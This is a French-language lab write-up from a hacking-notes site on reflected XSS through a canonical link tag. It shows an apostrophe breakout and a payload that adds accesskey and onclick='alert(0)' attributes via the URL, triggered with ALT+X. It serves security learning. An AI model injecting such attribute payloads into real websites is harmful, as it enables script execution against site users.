> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/reflected-xss-in-canonical-link-tag.md).

# XSS réfléchi dans la balise canonique

### XSS réfléchi dans la balise de lien canonique

`canonique` balise qui reflète dans son `href` la valeur fournie dans l'URL (les `<` et `>` chevrons sont échappés). / Objectif : injecter un code exécutable **attribut** qui appelle `alert()` sur la page d'accueil.

* Le code source montre qu'il y a un `canonique` balise qui prend `href` à partir de ce qui est mis dans l'URL.

<figure><img src="/files/d25b937a7a885f50f926e77e90e4dbd05becfcdf" alt=""><figcaption></figcaption></figure>

* Vous pouvez sortir avec une apostrophe : `' hacking` => `%27hacking`.

```javascript
' hacking
%27hacking
```

<figure><img src="/files/92c9b1da47311de5ff8869ae8e144fc91f0ceb36" alt=""><figcaption></figcaption></figure>

* `accesskey` peut être utilisé pour appuyer sur une touche afin de déclencher l'action : `'accesskey='x' onclick='alert(0)`.

```javascript
'accesskey='x'onclick='alert(0)
/?%27accesskey=%27x%27onclick=%27alert(0)
```

<figure><img src="/files/508774a9f3021f1e19f1c6c14717a285b326bd05" alt=""><figcaption></figcaption></figure>

Action indiquée :

```javascript
ALT + X
```

<figure><img src="/files/74e1a80602f54df73323ce4cadbc3577c8da7328" alt=""><figcaption></figcaption></figure>


---

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